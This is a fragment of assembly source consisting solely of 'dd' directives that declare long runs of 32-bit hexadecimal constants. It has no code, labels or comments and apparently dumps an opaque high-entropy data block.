dd 7146A142h, 0A50CA48Eh, 3382C61h, 2F79FAEDh, 0FD25133h
dd 613273F7h, 928CE0D0h, 0C5C56394h, 345243FCh, 0B0BD06D2h
dd 21B57634h, 0D57E9CC0h, 897D2C1h, 53536B14h, 4D88E8FFh
dd 84F5F876h, 3B86DC90h, 5FC1CF29h, 0E77FD334h, 0C3BF7D0h
dd 0CF2BD8EAh, 0B1B52240h, 1FA22610h, 0E24309F4h, 0CE79BB66h
dd 0C7758308h, 51B8407Ch, 91554DAFh, 7BAF4AEAh, 44A8A33h
dd 9D447C1Fh, 5B088CAFh, 2239298Ch, 0EF6DFEF6h, 0E563F30Ch
dd 40BD7453h, 0FA38CF18h, 827669A0h, 7DF4B059h, 0CB6B1FEDh
dd 8D3B7582h, 57E8BC67h, 624F177Fh, 0BEC08301h, 0F9D64CAFh
dd 0FCA978EFh, 0B24BFEC7h, 8AB9D77Bh, 0C63CACCDh, 77E79D5Bh
dd 0B8C6DFC4h, 0EC8E96A1h, 867A0758h, 55CA4052h, 0DFA5C612h
dd 8909924Ch, 0B4EF5675h, 0F8F0CE6Dh, 817FDAD1h, 15019114h
dd 0A5C34CE8h, 28D447BEh, 0B313320Bh, 85D5739Fh, 9C08BE2Eh
dd 279A09A2h, 2C7B2F10h, 0E45DB41Bh, 9BA6AE2h, 16C49EE8h
dd 0A79AC2F8h, 524FD3C8h, 0E0C09287h, 679AAD7Eh, 81A64785h
dd 60D9FAFFh, 0BADC86C0h, 50CB897Ch, 0E731359Bh, 51CD5017h
dd 75B64Fh, 0C1F53D0Dh, 35A7A9C4h, 25C19596h, 0EAB2BD39h
dd 37992DCCh, 231803Ch, 2357B1A7h, 98C36831h, 0A197A1B0h
dd 0A9365FB8h, 75B012ADh, 8C04B6EAh, 4EBCF6FCh, 104DFE9Dh
dd 7A6003E1h, 0EDD60A25h, 3C752CF4h, 0FE5BD8C1h, 42907CE3h
dd 6A35FBC9h, 9234B26Ah, 3874243Bh, 413A972Bh, 0E90453ABh
dd 6E4EFD20h, 0E5D1F192h, 0B46D6AFDh, 0EA8FAF2Dh, 0C646CD61h
dd 0D64E3706h, 0B654DAF7h, 0A3FDB52Fh, 61461F68h, 7F218C96h
dd 99EB2677h, 0C87A8693h, 0E1639E4h, 0E5D4C932h, 0BA8D0FA4h
dd 4C42A6B5h, 536C6027h, 4A72AAFEh, 5CF51FCDh, 1971B3A1h
dd 0BED56483h, 2C848F19h, 890BDE92h, 0A0F54B78h, 885467A8h
dd 3C147CFFh, 708F75A3h, 935E0FA0h, 2F3FF05Ch, 0FC7B1B85h
dd 29A3EC93h, 554F05DFh, 0D9249938h, 0F20D6034h, 0DFBE0944h
dd 0F0C2D23Ch, 0FE5B3ECFh, 604C6A9Eh, 0C04EE5B8h, 1D296511h
dd 0B177C43Fh, 246DDE13h, 0CDEADB89h, 4A1A3703h, 33E0F9AAh
dd 29C9AC1Bh, 0EF07897Ah, 0D6DD5FCBh, 357D72EEh, 0D55D2DCBh
dd 1683127Bh, 49880B03h, 48EA75B2h, 0FF93B73Ch, 0BB241B1Eh
dd 0A1F9E62Fh, 28825B24h, 7CD99A5h, 0BF2EC82Ch, 0C288EB62h
dd 9736373h, 0EF9DF002h, 18F180A8h, 6063C639h, 90A1DBE3h
dd 0F1C02774h, 0E747CDCCh, 3ABDA098h, 308F8A3Bh, 4C42DEABh
dd 58BD2F7Dh, 680F1EB7h, 519577D7h, 0FACC4920h, 60132ABFh
dd 2413CC12h, 6E7E3A22h, 23227932h, 5BD5AF70h, 0F0A91883h
dd 5A00A58Ah, 6F95854Eh, 0A6123B95h, 1E1862CCh, 8F1CAC5Ch
dd 0CC5CDA29h, 0B0CF2713h, 788E56BDh, 0B651F06h, 0C575978Dh
dd 0E51FE7C2h, 183AFE8Bh, 0B3F97F18h, 0B25F3170h, 0E4D49542h
dd 5DE413C3h, 0CCAADCB6h, 7DBF64FAh, 737924C2h, 221E5B58h
dd 9CB35BA8h, 0AE80DF0h, 41C9ADD4h, 57119995h, 7F810782h
dd 0C36A1B30h, 0BB27A277h, 0F0FA7527h, 6F2E1F47h, 8B69B819h
dd 11944422h, 0B30B49F8h, 8D15D64Bh, 49956734h, 0EBFA4D81h
dd 938CEC1Bh, 28B398D7h, 0BD4D7853h, 0D8D5BF09h, 620AEF9Eh
dd 0C06209AEh, 95B37066h, 1CAC866Bh, 13A2CA82h, 65136AB2h
dd 55154202h, 0E9F477h, 0C08ED60Bh, 3B17A69Eh, 34106497h
dd 16AF183Ch, 8DAF5623h, 0FF0486DBh, 6EF32012h, 403903BCh
dd 0E49CF832h, 0F497FEBDh, 0CDB1E206h, 0E5971192h, 8BBA6D4Fh
dd 2B98F06Ah, 0CE65552Ch, 0F64D754Bh, 0A932C51Bh, 1B502FEDh
dd 0F9F233D0h, 61186546h, 735E37E6h, 0E64FEB0Ch, 0C07920E6h
dd 0B0C53AF3h, 9ACB8FFBh, 33A1322Ch, 0A354A271h, 38CE0075h
dd 9EA91657h, 48B218D1h, 63324D0Ch, 38B4A140h, 4506F554h
dd 0EF3B2C5Eh, 0D19F2F65h, 1B4E6C9Ch, 0FDCB6E2Dh, 1D1A06FAh
dd 0C1CB34ADh, 0DE55B41Ah, 38A38DBh, 0E47CC671h, 8EB243A4h
dd 3E91B7C9h, 0BA056DAh, 16B04275h, 0F005E745h, 0B7E659FFh
dd 0FD12DB39h, 43B5BD4Fh, 95BEE3CEh, 0E55912F4h, 600E9F25h
dd 8B471150h, 9742A966h, 0F15AD6CAh, 59E8E247h, 4745ECADh
dd 8B43AB4Dh, 395EE7F4h, 83F28445h, 900FA806h, 0BEACB813h
dd 0A3E32E64h, 0A3ACEF71h, 0A780C94h, 0B8ED9ECFh, 0A5AE8959h
dd 0A896E089h, 64164701h, 0A6ED61A8h, 0C17B65B3h, 1750201Ch
dd 0EA478E90h, 495FAE5Fh, 5F81DB45h, 0ADA86A97h, 82943D5Fh
dd 4DE74118h, 0E5EC6008h, 7662E80Eh, 0B357C054h, 4CC43CEAh
dd 63199795h, 1BA15C8Ch, 149DBC8h, 9632F810h, 1758A7E8h
dd 80E1C731h, 8391E2C6h, 0E5D054C9h, 0F8DA2A31h, 57A63B37h
dd 7B29EDEFh, 0DF9852E4h, 5456CE7Eh, 0E22B5BF1h, 3BE517CCh
dd 48FA705Ah, 0FD751A90h, 472AA2CFh, 22E34671h, 0A0BFE9A2h
dd 9D5BEBBh, 21EA4DC0h, 87A39399h, 0FA0695F2h, 38008526h
dd 5AAE3D8h, 21AD2568h, 1E60EB5Ch, 2D02FECBh, 28DCCF6h
dd 0D7A006DEh, 43249E7h, 0F67CCD5Fh, 0A6E02A69h, 4BECD486h
dd 60CD0F8Ah, 0A6BFCA0Dh, 0EA8DD0FDh, 0C608BFD6h, 0F20F3DA7h
dd 9559793h, 2E2F3151h, 0F0D16E4Dh, 0CD02F491h, 8FC7BD79h
dd 710368FDh, 9BC11EFCh, 47924B70h, 18E1522h, 895A322Dh
dd 75E3EC41h, 0A77E1A3Bh, 55E7EDC4h, 6D40815Ah, 73AE3A69h
dd 83B572ABh, 0A6C6B0EDh, 3973521Eh, 9C43B489h, 9C2D9A72h
dd 8016D60Eh, 8D0837DAh, 0E7A34FE1h, 65B6A56Dh, 951B0C7Eh
dd 0A834E0C2h, 0BA4192FBh, 0C4B8E9E3h, 5B0E2B1Dh, 0AA322AEAh
dd 952C22EEh, 0D8329457h, 0C3AD1E6Bh, 198FA3A9h, 49F9B969h
dd 9897B208h, 5602D64Eh, 6E05B424h, 82553AD3h, 0DBDC33EFh
dd 0E2D75C3Ch, 546F9806h, 413D4B77h, 4E156AC4h, 0EAEE3724h
dd 92BA7785h, 1D3199D9h, 0C702A48h, 911EBA7Ch, 47D8B0Ah
dd 0CF45F20Dh, 0A2809135h, 0B01821A5h, 23128078h, 653E89Ch
dd 0CAD20903h, 94E89E81h, 5B3C43C9h, 0E31CA7B0h, 78D3C00h
dd 0B220676h, 3AEB36E8h, 5ED061D1h, 0AF639A95h, 4E009EDDh
dd 9C2F4D6h, 0E19CD52Eh, 0A318E6EFh, 0F276D2F7h, 45CD7090h
dd 1A9E0101h, 72B3C91Ch, 28830744h, 38AD3919h, 0F1859498h
dd 986D6808h, 0CE6A430h, 0E2027323h, 329EDC7Fh, 0DF2871A8h
dd 76611694h, 7591D573h, 0B02A3B3Dh, 95277E4Bh, 53D02823h
dd 61539DB0h, 777E3A3Eh, 8D6C9C18h, 66EC50A6h, 0E971ADCh
dd 6F17826Fh, 9BE9F166h, 6AD8009Fh, 0CDBF933Ch, 298C9242h
dd 1BA12A2Ch, 5AE48277h, 67738FC4h, 93479B2h, 20D271Bh
dd 220197AFh, 1F0B9A3Dh, 862BBD55h, 6A776FECh, 2BDF8995h
dd 709CB590h, 489994F3h, 52712385h, 0C79BC70Dh, 961AA886h
dd 0AD20766h, 2583ACB1h, 716DA43Ah, 3FC89AFAh, 6CA6CDEFh
dd 0DDE7D5BEh, 5AE7A0Bh, 0A0F6CD79h, 0B06EAB67h, 2631897Ch
dd 93032417h, 87B706E1h
dd 7BC4B8E6h, 723380B4h, 2616AA91h, 0B11EFD2Dh, 79B6319Bh
dd 18EB64D9h, 93EA376Eh, 1E34B83Ah, 0E9FAEADBh, 51AFBD92h
dd 9663AB93h, 0C327A7DEh, 0E62BD500h, 73AD3351h, 99FAF6FFh
dd 0D91F2B34h, 0C5061E98h, 0E1A94910h, 60F18320h, 8D50EC4Eh
dd 2EB92098h, 6D296B50h, 3B0720EBh, 8BFD0B5Bh, 0F6F82026h
dd 9AA4D6E2h, 0C3446DD4h, 0F7C09560h, 0EF528A15h, 0D0F4A796h
dd 0DE2A974h, 4D3AF035h, 0D0300272h, 0E536FE6Bh, 6054808Dh
dd 76F182E9h, 0F843A94Ah, 82AF11F8h, 0D94C5691h, 6F11D4BAh
dd 6BED19FEh, 0EBC2EA47h, 5FD693BFh, 8B693CEh, 48D19E87h
dd 0E83E9116h, 0E66966Bh, 0BDCA07DAh, 57416623h, 3B9714D0h
dd 72C4FF4Eh, 87F51EF2h, 0FA350D55h, 3A377862h, 29C94DAAh
dd 0E77B5544h, 3AE84216h, 2E7E6D71h, 4DB1C475h, 0F6B84ACBh
dd 6B19E630h, 761188DBh, 554DC8B4h, 1F38E9D6h, 12DA58A0h
dd 7020F17Dh, 80C09E3h, 0A2A14ACBh, 0A0B411F0h, 0B0286E62h
dd 3E274817h, 0BBEA90AAh, 0F1462C0Ah, 0D535B791h, 1977FA73h
dd 91057912h, 0FB7CCFCAh, 5E9C5FDDh, 2EB1D3EDh, 0DA699C90h
dd 0FBB13BFh, 0DC8B8EA7h, 0ECF68985h, 7683A16Dh, 3BB5EEF9h
dd 0ACAF44CAh, 7F44AFEEh, 0D1EB4D04h, 6A65773h, 0DE3EE6FBh
dd 3E766913h, 0A7F899FFh, 427EBD1Ah, 8E6C8888h, 35F310D3h
dd 92B43EB9h, 22FC78CAh, 0BA386878h, 24AABDFCh, 0E44304Fh
dd 57D3B7F7h, 8EFAB0BAh, 0FA789098h, 0E3876EC9h, 396A7D26h
dd 0ED070FDEh, 34D261DDh, 4FDCCE0Dh, 0C11824C0h, 12701330h
dd 0C29BEA7Bh, 3BA4F6A1h, 0DD13738h, 0A47F5E95h, 493BEE2Ch
dd 59DBDDE4h, 0CE58D5CDh, 0B593C029h, 0E92237F9h, 6FAEA31h
dd 388439FFh, 4607306Bh, 61FD1790h, 23D26EC2h, 45EFBAEEh
dd 317CA48Ah, 54B24744h, 61147620h, 0C4311F1h, 0E6CE6733h
dd 7F512A0Fh, 41B2ECE7h, 0C28CDC0h, 395447C6h, 0FD04BF31h
dd 0D04FA9EFh, 0D5C85615h, 0DC5E181Eh, 17C2D504h, 9EFA3E3Bh
dd 0F4DDDD97h, 15CC8B64h, 26FFD5C9h, 23CF818Bh, 0AD8AD71Ah
dd 16E7C6D6h, 0D761E1B9h, 1B86B3C0h, 2A08B6C7h, 0E576D499h
dd 86D8404Dh, 0BE90C7E1h, 0A6269FF5h, 62D47F06h, 3A8D6F21h
dd 0E3C028C0h, 213D7D6Eh, 0F7A2BFA0h, 460E9347h, 0D680A06Ah
dd 339028B9h, 64456BF4h, 1C9F69D0h, 6F3EAD3Fh, 0E5285E35h
dd 60BA19FDh, 4BEC0993h, 172E863Ah, 5AC954F6h, 8B714CB1h
dd 0D57B25C9h, 5A0DFBFBh, 3165DAB9h, 0F044DCF7h, 108D6D96h
dd 2A277C1Ah, 0D4E34969h, 64C6E69Fh, 8D94A7D4h, 0E52AF74Ch
dd 5C9B760Dh, 200FBCB7h, 0F6AED0D4h, 0F4D308C2h, 0A24EF2AAh
dd 0C753B64Eh, 0F52C07B6h, 0ABC5BD32h, 0E9EAA994h, 0F27D75AAh
dd 6BB39785h, 20DC09D4h, 0BA21248Fh, 5D200F39h, 0EAD4FAB1h
dd 0E73206C5h, 441F1228h, 0ACC98C2Ah, 0E202F5Bh, 78D9D1CBh
dd 0FCC5C030h, 19F89923h, 3AD46CE4h, 916DC225h, 0A1D8F70Eh
dd 3E20E65Bh, 1F5804Ah, 0B770D83h, 73EE1B29h, 0F3CE2D40h
dd 81C8A9B4h, 0E4DE94ADh, 447641CEh, 0B9B3550Eh, 113F3134h
dd 28759F10h, 0FDEE5ADAh, 0E1668AE1h, 0AA435BD6h, 0F7927C8Eh
dd 0D8C066FEh, 565293A0h, 0FC8D29B2h, 0D6D4C659h, 2DFF9BD5h
dd 0C8FA4A1Fh, 530DB77Dh, 8415EFA3h, 37684481h, 353A359Bh
dd 0BDC2A434h, 61AE94D5h, 3CC0CB65h, 0BE3D5AF2h, 9F8BC6h
dd 6A31D9EAh, 735E0942h, 2E7B2A1Eh, 3846F05Fh, 5580EBC1h
dd 4F6202B5h, 0B10C600Eh, 5CDF3895h, 801C68BCh, 0C71750F1h
dd 0AD592AF2h, 842B4C47h, 509ED89Ah, 0E0CED76h, 6E9F1EDh
dd 0B52E2242h, 3455A81Dh, 0B25253FBh, 0A3765460h, 0A98B82A1h
dd 52611751h, 81D85BF5h, 7CD05254h, 5E896FB0h, 8D50C5C4h
dd 6BE98FF0h, 0F66C3E4Eh, 2C81876Ah, 9BE95993h, 7ADD4BDBh
dd 0A5AC6ADh, 1373492Dh, 0BF0C9E1h, 776A111h, 0AB478241h
dd 0D08837BEh, 936B8800h, 2F4EAFD6h, 0BA32E46Dh, 44C5804Eh
dd 0BAF1975Ch, 444AF58Eh, 0DA5FF318h, 5A8F2A44h, 5719F628h
dd 94A3FFA1h, 43A66DFBh, 5C6EAFB7h, 0CDA90D87h, 0F04A7E29h
dd 3CCB585Dh, 0ACBFC501h, 643FAFA5h, 444EF65Fh, 540FE860h
dd 0A06D1989h, 42DC0B39h, 917D91F1h, 249E6483h, 0F005CA0Dh
dd 71F3CB8Bh, 2DAB76B4h, 0A5178394h, 45D223D0h, 0C0A826F5h
dd 0F769FCA7h, 9E5B2272h, 3F26E028h, 0BCE9EA1Eh, 0BE36D1F6h
dd 0F728D75Ah, 62DA0DE3h, 20A511BDh, 0E9824293h, 0E227D6BDh
dd 7A00CBE4h, 92F427D6h, 0F1309299h, 0F1B0BFEEh, 20DB7258h
dd 66B2DAD3h, 0F1293492h, 342E4B01h, 0FBC0AC9Eh, 0BCEA9C5Bh
dd 0F49D91BEh, 7875FCA1h, 66BB6182h, 0C4A24F74h, 3CC3F058h
dd 9BE25AC8h, 0D8EB728h, 0A332DCBEh, 4E97B49Dh, 0B6427D24h
dd 75959656h, 53C4AED2h, 23BAC01Dh, 9E38EB64h, 53D87448h
dd 19C0A10Fh, 0E944E4A5h, 0A89D5692h, 0D7B057FFh, 0D3608FC8h
dd 19F96BDBh, 0DAB39D45h, 2B2D33C4h, 0CC2D8911h, 415FC2DDh
dd 0F5ED2160h, 318FAB52h, 5AB36FD5h, 0C96D50Bh, 6CE4BD26h
dd 704EFC26h, 0E23C8043h, 0B34D91EDh, 2D64A0D9h, 34938374h
dd 0A95BF895h, 3DBC9D58h, 1ACD1B13h, 1F67F1E4h, 1B3FA6C1h
dd 2E4C51DFh, 713FCA77h, 0A70EB39Bh, 46F4E95Fh, 0B3365C4Fh
dd 406931A4h, 63F039E2h, 0B2498A3Fh, 0DE002EE6h, 58C6368Ch
dd 39722020h, 935280E0h, 0ABE13CF1h, 0ADDA7753h, 45D0359Dh
dd 0F4C8A201h, 0E58C3DDFh, 0F48B6C07h, 0C9F77A7Bh, 796EBC6Fh
dd 1603EC7Fh, 7677356Ah, 0CEDF1A0Eh, 2E7162DDh, 0A284B412h
dd 0F6EDB964h, 82BD5F96h, 73ADEA8Ch, 8DA76123h, 688AC365h
dd 7A5874E2h, 12DAF99Fh, 0CEA9C5C0h, 0D1A60C4Eh, 0F35E790h
dd 87F93FEh, 0D24B4771h, 7DB3609Dh, 659280B5h, 0E3AC909Ah
dd 95BE7EFAh, 414179B8h, 50290338h, 0F5FA6E4h, 30D5A400h
dd 24ECC7E8h, 0E9824507h, 2FDBEF26h, 0E83EDFDEh, 173B2AFCh
dd 26685B2Eh, 16C13DD6h, 2937D51Ah, 0B111229Bh, 158CD056h
dd 6CC904Dh, 4882390Fh, 89D313B7h, 0B5F8C794h, 0C3E179A5h
dd 0A56646C5h, 5A098705h, 0B152B2EEh, 7A01963Bh, 0CF774236h
dd 0EEBD8ECCh, 0C00AF068h, 2821A8FDh, 0A3522B90h, 0FF19CC6Eh
dd 107C4114h, 77A8B3C7h, 50EB8E09h, 3259A0ACh, 0F9BA0051h
dd 78F99112h, 0FAB811FBh, 206ABAF7h, 54FEC98Bh, 0A337ECD5h
dd 0C020AAC7h, 0CFB2BA78h, 38134DB4h, 6D9A7CD6h, 0D068834Ch
dd 0C35CE999h, 70F8410Fh, 445A1F45h, 32F8EAF1h, 0ECC7074Ch
dd 0A99248Fh, 73BCFBB5h, 68513E73h, 1578591h, 7EEEB0DFh
dd 3202AC5Eh, 333C114Ch, 0D57CFD81h, 68DE79EFh, 983E09EBh
dd 0CDA171D6h, 95465678h, 8C507C83h, 7EF97548h, 84246844h
dd 2C24FA04h, 483C9638h, 604E44DDh, 0ED0A76ECh, 9F7D9A7h
dd 637C8D8Eh, 0FCBE7360h, 86336299h, 265F3525h, 0AD840A69h
dd 6DFE6A0h, 3F2EA8E5h, 954C8D34h, 0EFD2DE13h, 0F72A710Dh
dd 4EEFF9C6h, 0AB829142h, 99639A22h, 7F12454Ah, 4C3A50BCh
dd 672E60C1h, 37FE7F14h, 5641D1ECh, 519693B4h, 244AB4B9h
dd 360E1217h, 0A7C07D7Ah, 78DE9FE2h, 0DD00364Ah, 0AD21A9E1h
dd 3F7BC7BBh, 4939E428h, 28E52C4Dh, 0E0F1DC87h, 322A1873h
dd 4B8121CEh, 0A18A9DEDh, 17A01F83h, 0BFC7DE30h, 529A4EF6h
dd 21C551A1h, 3770C29Bh, 803F111Fh, 82077Eh, 0D5C0B36h
dd 44A8E44Dh, 0AD6BF511h
dd 66FA136Dh, 0FF917F26h, 0E1EB86F2h, 73A1AD8Ch, 0DD7D83A1h
dd 0C49624A8h, 0EC3A5C61h, 77F993E4h, 2562CC92h, 0A8046755h
dd 59C7A9C1h, 3A96057Eh, 0B465B693h, 2FF65A5Ah, 0C5617456h
dd 0AC33D173h, 67C2027Fh, 0AF17F6C8h, 8DE7E657h, 0EED91A7Ch
dd 0F8EE5F39h, 23D68344h, 8609CCBEh, 96646DA7h, 0FB6A7B4Ch
dd 69A490C1h, 254E7D23h, 0AE1B9EA3h, 0F139D1C5h, 2DEB0FD8h
dd 5886D27h, 2BC57223h, 18D9D8CAh, 990E78B8h, 0ADE4E9Ch
dd 0C54B1AFFh, 5E5A7A7Fh, 89F53A87h, 7E535521h, 65CED0FCh
dd 0CA03331Fh, 0A224C11Dh, 73861426h, 2AE313FEh, 0D54A793Bh
dd 600ABF25h, 6EFE5BCDh, 0D0C27D0Ah, 0E1F1A50Dh, 0BB16C4D4h
dd 7B1A5005h, 22BC528Bh, 8B8CD241h, 0D668AF3Ch, 2D21C52Dh
dd 960A43BDh, 0D3A82933h, 4010D518h, 0A332CD0Dh, 95164AB4h
dd 0BFE92274h, 0EC863684h, 7E27836Ah, 68643109h, 0B22EF8Fh
dd 69AC1B2h, 7CEC715Fh, 0F97E958Bh, 7740FD2Bh, 3EA4E0A7h
dd 5AFFA927h, 7613A674h, 0FA565FD7h, 819A5F20h, 0EFD1350Eh
dd 58CBCB8Dh, 88808CA1h, 3FE1C305h, 0E36A4438h, 86FE809Ch
dd 1D4006F0h, 84F0ABEAh, 0A7D6F32Eh, 9F791B4h, 69C4A56h
dd 0E4F6BFC3h, 26FACC36h, 0F8EEA44Eh, 301D1B42h, 0AFC08AE9h
dd 99890C66h, 0C7945B4Dh, 5921D2F5h, 42ABC686h, 0C79E6A8Fh
dd 6A15D703h, 0E73D680Fh, 0EFA2FC85h, 9BC55EEFh, 0C44AC794h
dd 71B8EE1Ah, 1E25526Bh, 52F4F2EDh, 95909BDDh, 5E9A7F43h
dd 2E8B0BCFh, 44B6164Ch, 608BDD7Dh, 0A0472A4Ah, 0D2CB8E4Ah
dd 18ABA280h, 0ED16E479h, 0AA645FD5h, 9AE99A4Bh, 0DC10E5C6h
dd 38800C1Dh, 123DC972h, 22623930h, 0B6902D43h, 0C881F004h
dd 0E0C619F2h, 65BE5E9Bh, 6E4D1C9Dh, 3F540B57h, 3B388DF3h
dd 82AD151Bh, 43DABF41h, 0F30CD5DEh, 14B849FBh, 0BE1C6DD1h
dd 8CB51CBBh, 0AE3DA9D3h, 6B93A0B5h, 0C27D2D1Bh, 0E24C2D2Eh
dd 57EE4938h, 0E341CBD2h, 0F7456FC0h, 40A2D2CEh, 0ADEEF3E0h
dd 809AB433h, 0E1CE3FB2h, 5E4E1E57h, 55989EB1h, 5BFDB593h
dd 0C7FEFDADh, 566ED673h, 9AB1AA1Bh, 8BE4605Ch, 0BBDFCF9Bh
dd 10939EE7h, 0FDF56073h, 0AD6DD998h, 0E6F80A11h, 472D202Fh
dd 0BF02B73Ch, 3A5D9E1Eh, 0C4CB4B97h, 0EE1CA422h, 0FCFCEFA7h
dd 9917901h, 227E7361h, 3A079F5Ch, 99C27E8Ah, 0E21686ACh
dd 0C13E8FFDh, 27B514A9h, 0FEE6A06h, 93B01ED9h, 0E0E5691Eh
dd 174A08Ch, 0DFBFC89Fh, 0DFE283E6h, 659D4CA7h, 97112A37h
dd 53AEBD35h, 0D1CA76Fh, 0CE92FD3Eh, 22CD0538h, 0E06D4BEAh
dd 0FA05F5ABh, 888ADBF1h, 0CABD040Fh, 0D060792Fh, 0BE39F09Bh
dd 54AAF0BAh, 0E58856BAh, 3454EB92h, 53E42C53h, 6E9F1D39h
dd 195B8822h, 0A0436A73h, 840C3A81h, 0A5DE0A7Ch, 0D5521FB1h
dd 0E68500E5h, 4BB6F287h, 0F8832E49h, 0A7924A6Bh, 40F2745Fh
dd 36CED7ADh, 0BA39D819h, 9240C5FCh, 324A1DF2h, 727A8AB0h
dd 0E51CB01Dh, 3A1ECD8Bh, 27DE496Ch, 0D40328C6h, 0B6906C92h
dd 0D47577C4h, 7FBEB638h, 0CE0F4201h, 3BB287BDh, 0A54945C2h
dd 359D37A7h, 0B4EE0474h, 4A10BBDFh, 0B1A24D99h, 0C1514CDCh
dd 0BB2146h, 1CF278F2h, 0FA4496F2h, 7631EB85h, 74FADE15h
dd 7481CBA0h, 3CB39913h, 63EA3AD7h, 104BBDB8h, 0BDC85005h
dd 0F0ECE8FFh, 38250F74h, 0A9DA0D8h, 0F0FF6D9Dh, 1AADE171h
dd 6EF21194h, 730E6DABh, 5DDA1B82h, 300D7484h, 37A15930h
dd 922E7063h, 0A30534D7h, 0CEBD292Dh, 0B450F5DEh, 11AC5C0Ah
dd 5963CCE0h, 146A41D9h, 316CF24Eh, 452BECA1h, 0D85827A5h
dd 297F3868h, 8537C614h, 3D177F70h, 27A0E8C4h, 82DBFE5Ah
dd 60C27143h, 4C3E4CEFh, 6769FCD5h, 0CE1A3387h, 0D762186Eh
dd 47D3B046h, 9164E7D9h, 590495C2h, 91C64143h, 844F9DFh
dd 0C2908582h, 966B69Ch, 0C760EBD8h, 686A5FEDh, 898E9A47h
dd 0BDF2AD45h, 0C43B9235h, 0DD0763C1h, 0F7EEC88Fh, 7C4F15Eh
dd 0BAE77399h, 11791DB4h, 81A1DDEDh, 3464AD16h, 0BDB1FC6Ah
dd 0C5857F62h, 0ABB80C2Dh, 292AF52Ch, 0DBD9C13Bh, 0C940CED0h
dd 0F06E9E9Eh, 0CE319EBCh, 0CEF80EBCh, 59EF82C9h, 34084538h
dd 0F94949BEh, 0EF59BD78h, 2A4146BAh, 7442BCF0h, 0EC0E310Dh
dd 92A18281h, 0D685F956h, 0F092A1F2h, 0F6A12D1Eh, 4BE79B01h
dd 32FCB588h, 7149C7A4h, 0F290678h, 0B5502367h, 51582A1Fh
dd 808ADD33h, 3A1E3FBAh, 0EC39B1C2h, 18989D0Ch, 8A466F06h
dd 2AC52B2Fh, 347D0365h, 6A0CF8B9h, 46EC6C20h, 67145F30h
dd 4791C6A2h, 781C8006h, 61AA8FBCh, 0AE90C03Bh, 8C0AFAC9h
dd 0C6F687CDh, 29E50DBEh, 0ADFA5ACCh, 0DDAEA5BFh, 0CA2AB0D1h
dd 0C05FA6Eh, 0B3B294FFh, 0BB53F23Dh, 0DBC76A52h, 3972EC9Eh
dd 75B97E44h, 30FB6422h, 0A5DD6EC5h, 0EBC5BD59h, 5A582BAAh
dd 0BEF96628h, 1A812B40h, 72222CD2h, 57240572h, 208B3489h
dd 218EA739h, 0BFC0C861h, 8D6FE6E0h, 1305887h, 575394DEh
dd 8E348900h, 149F725Dh, 1DEC8FD1h, 71DDE161h, 6F8AE6DCh
dd 90D46E08h, 2CBB908Ch, 4B03E145h, 216E9E56h, 0D5FAE58Dh
dd 9E212BC1h, 0DF9696CAh, 997D2C8Bh, 0D7B460FEh, 28FDF7F0h
dd 92DC281Eh, 33BCC113h, 2D302E31h, 0FE4F6F76h, 0E0177D2h
dd 9C40C664h, 0F13DFAFDh, 7B7BC061h, 2744A089h, 0CC3C3F7Ah
dd 657275BBh, 0F1326AA1h, 83499D1h, 0E5B5E1F0h, 0D498A622h
dd 0C1F8002Bh, 0BA685896h, 0C6293B0Ah, 1FDFA11Ch, 0D7BE308h
dd 416ED7B6h, 5804814Ch, 15C2FDFDh, 0CD78B638h, 0BAAFF2C0h
dd 0A042BD46h, 17D3F998h, 0B5F9337Dh, 71730245h, 0C0ECEDF3h
dd 0D0348B8Dh, 4B4E9844h, 5AFB993Eh, 0D524C54Fh, 6440254Fh
dd 0EA55719Dh, 7068F230h, 9C070989h, 0D2E56888h, 91982477h
dd 0CD7B7DF6h, 0C4404F8Bh, 9ACD4188h, 4B046D2Ch, 8C03EF55h
dd 1F83B9FCh, 1C58FA80h, 0FC2C60C4h, 337B60F2h, 5C9AD2D5h
dd 0BBAE44Dh, 0ECE74A18h, 6A932B6Fh, 0B781CD8Dh, 0D1EF85CEh
dd 6AD83B0h, 3EC635E8h, 8F399170h, 50627749h, 94A5DA28h
dd 6E8DAF71h, 18F79B47h, 3EFDDB17h, 442B6A7Ch, 0A39D1254h
dd 0F0EE025Fh, 0C7B41619h, 321C3DBCh, 0F66096AAh, 996A1987h
dd 79E45585h, 0D8FC4B07h, 70FE2D1Ah, 1014D577h, 66BE8281h
dd 0B1251B33h, 45C93B1Ah, 0F9DE8035h, 0D989F887h, 0EE2E654h
dd 1B50DB19h, 41B702E5h, 0AD24A001h, 72416228h, 9C747004h
dd 7EDC0628h, 71EF1142h, 0F0BB7375h, 54AAFA75h, 7CBC749Bh
dd 1891FB09h, 951C75CFh, 0A7CF0A60h, 0DFA59B05h, 8544416h
dd 5AFB4DCBh, 0CC04BAE7h, 0EF83AC23h, 69CC9178h, 0B019C4E0h
dd 4A76BDCCh, 0D92F5377h, 8D731F28h, 0C3CB8F01h, 25CA61EFh
dd 7EB57C2Ch, 0FEBA4CBh, 208C1880h, 3C1EE0BEh, 0B0CC6E36h
dd 0A100770Eh, 69D24249h, 9198E820h, 61C1143h, 0D03DC71Bh
dd 0EBD65B59h, 0BF63A8BBh, 100CCF94h, 0BC650E95h, 6AB554A0h
dd 0FFA468AAh, 55D9428Bh, 0A6FDF6CDh, 95B71E0Ah, 70B781F5h
dd 695AE006h, 7E93DBA3h, 9BEE6B67h, 0F5971267h, 2F88929Dh
dd 0BA90437h, 17CFDD53h, 6EF4964Fh, 8D49300Bh, 0F00D91B5h
dd 8C0D5342h, 1EC33694h, 1A2016F6h, 0C08D7E09h, 9D0E95D4h
dd 0CB6598E6h, 9DCFC87Ch, 2B8A2470h, 0DD729F98h, 30A24E61h
dd 6100DBD3h, 7B8F6BC0h, 0C3FA5C48h, 0BEF28314h, 0B6884870h
dd 8B49245Ch, 0CECC029Bh
dd 325750A7h, 3A055569h, 7AD886D0h, 3E9745D1h, 0A06F36ADh
dd 0C0F893CDh, 0FF2EB93h, 0DBA7C1A9h, 0D3495BA5h, 0B0F1988h
dd 73D5E195h, 132C14ACh, 0D6E7B2EDh, 8CFD6A4h, 200EF03Ah
dd 0DB811433h, 6810156h, 37DA6274h, 13C8E5EAh, 1799D4BAh
dd 91390664h, 0E9F9E508h, 87BF03BDh, 964709CCh, 0DA8AEB64h
dd 0D159A5ECh, 332A8449h, 30794BFAh, 800FB645h, 1F4DE265h
dd 8506C2D0h, 0B560DD2Ah, 0F290D90Ch, 0D48C72AAh, 11ED15BCh
dd 0E2B3763h, 0B38A9DB4h, 2B081842h, 69156444h, 0BE00F9EDh
dd 0AA1AFBE6h, 7EDB8445h, 0D4FA71F2h, 0D32FB441h, 0E39E6DF2h
